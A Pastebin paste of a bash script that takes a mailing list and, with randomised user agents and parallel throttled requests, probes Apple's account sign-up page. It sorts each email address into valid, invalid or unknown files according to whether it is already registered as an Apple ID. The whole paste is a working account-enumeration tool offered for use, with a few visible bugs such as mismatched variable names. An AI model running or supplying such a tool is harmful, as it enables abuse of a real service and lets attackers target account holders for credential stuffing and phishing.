Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- header(){
- CY='\e[36m'
- GR='\e[34m'
- OG='\e[92m'
- WH='\e[37m'
- RD='\e[31m'
- YL='\e[33m'
- BF='\e[34m'
- DF='\e[39m'
- OR='\e[33m'
- PP='\e[35m'
- B='\e[1m'
- CC='\e[0m'
- printf "\n"
- cat << "EOF"
- /$$ /$$ /$$$$$$$$ /$$$$$$ /$$ /$$ /
- EOF
- printf "\n"
- }
- UA=$(cat ua.txt | sort -R | head -1)
- ngecek_email(){
- ngecek_apple(){ # CHECK VALID
- local jsessionid=$(curl -s --head https://ams.apple.com/pages/SignUp.jsf | grep -Po "(?<=Set-Cookie: JSESSIONID=)[^;]*")
- local used=$(curl -s -D - "https://ams.apple.com/pages/SignUp.jsf;jsessionid=$JSESSIONID" \
- -H "Cookie: JSESSIONID=$jsessionid;" \
- -H "User-Agent: $5" \
- -d "SignUpForm=SignUpForm&SignUpForm%3AemailField=$1&SignUpForm%3AblueCenter=Continue&javax.faces.ViewState=j_id1")
- if [[ $used =~ "200 OK" ]]; then
- if [[ $used =~ "This email address is already registered as an Apple ID, please sign in." ]]; then
- local Apple="LIVE"
- echo "$1" >> "$2"
- else
- local Apple="DIE"
- echo "$1" >> "$3"
- fi
- else
- local Apple="UNKNOWN"
- echo "$1" >> "$4"
- fi
- printf "${Apple}"
- }
- local hasil="\e[34m$(ngecek_apple ${1} ${2} ${3} ${4} ${8}) ${1} "
- printf "${hasil}\n"
- }
- # CHECK SPECIAL VAR FOR MAILIST
- if [[ -z $1 ]]; then
- header
- printf "To Use $0 <mailist.txt> \n"
- exit 1
- fi
- # CALL HEADER
- header
- # CHECK OUTPUT FOLDER
- Output='result' # Change Output Folder
- if [[ ! -d $Output ]]; then
- printf "${RD}[?]${DF} ${B}No output Folder${CC}\n"
- printf "${BF}[+]${DF} ${B}Create Output Folder${CC}\n"
- mkdir $Output
- if [[ -d $Output ]]; then
- printf "${OG}[+]${DF} ${B}Output Folder Created${CC}\n\n"
- else
- printf "${RD}[-]${DF} ${B}Output Folder Failed To Created${CC}\n"
- fi
- else
- printf "${OG}[+]${DF} ${B}Output Folder Found${CC}\n"
- printf "${OG}[+]${DF} ${B}Use Output Folder${CC}\n\n"
- fi
- # CHECK OUTPUT FOLDER APPLE
- printf "[+] Create Apple Output Folder\n"
- Apple_dir=$Output'/Apple'
- if [[ ! -d $Apple_dir ]]; then
- printf "${RD}[?]${DF} ${B}No output Folder${CC}\n"
- printf "${BF}[+]${DF} ${B}Create Output Folder${CC}\n"
- mkdir $Apple_dir
- if [[ -d $Apple_dir ]]; then
- printf "${OG}[+]${DF} ${B}Output Folder Created${CC}\n\n"
- else
- printf "${RD}[-]${DF} ${B}Output Folder Failed To Created${CC}\n"
- fi
- else
- printf "${OG}[+]${DF} ${B}Output Folder Found${CC}\n"
- printf "${OG}[+]${DF} ${B}Use Output Folder${CC}\n\n"
- fi
- # TOUCH OUTPUT FILE APPLE
- VALID_APPLE="${Apple_dir}/valid.txt"
- INVALID_APPLE="${Apple_dir}/invalid.txt"
- UNKNOWN_APPLE="${Apple_dir}/unknown.txt"
- touch $VALID_APPLE
- printf "$OG[+]${DF}${B} $VALID_APPLE Created${CC}\n"
- touch $INVALID_APPLE
- printf "$OG[+]${DF}${B} $INVALID_APPLE Created${CC}\n"
- touch $UNKNOWN_APPLE
- printf "$OG[+]${DF}${B} $UNKNOWN_APPLE Created${CC}\n\n"
- # CHECK LINES IN MAILIST
- lines=$(wc -l $1 | cut -f1 -d' ')
- printf "${OG}[+]${DF}${B} Found ${lines} mailist in ${1}${CC}\n\n"
- # OPTIONAL
- persend=8 #Email Send PerSleep
- setleep=1 #Delay Send PerSend
- # MAIN
- IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
- itung=1
- STARTTIME=$(date +%s)
- for (( i = 0; i < "${#mailist[@]}"; i++ )); do
- username="${mailist[$i]}"
- set_kirik=$(expr $itung % $persend)
- if [[ $set_kirik == 0 && $itung > 0 ]]; then
- sleep $setleep
- fi
- ngecek_email $username $VALID_APPLE $INVALID_APPLE $UNKNOWN_APPLE $UA &
- grep -v -- "$username" $1 > temp && mv temp $1
- itung=$[$itung+1]
- done
- wait
- ENDTIME=$(date +%s)
- # RESULT
- printf "\n${PP}It takes $[$ENDTIME - $STARTTIME] seconds To Check ${lines} ${CC}\n"
- #READ LINES OUTPUT
- T_VALID=$(wc -l $VALID | cut -f1 -d' ')
- T_INVALID=$(wc -l $INVALID | cut -f1 -d' ')
- T_UNKNOWN=$(wc -l $UNKNOWN | cut -f1 -d' ')
- printf "LIVES : $T_VALID | DIE : $T_INVALID | UNKNOWN : $T_UNKNOWN\n$CC"
- printf "${B}${BF}./LE Gal404 Apple Valid${CC}\n\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement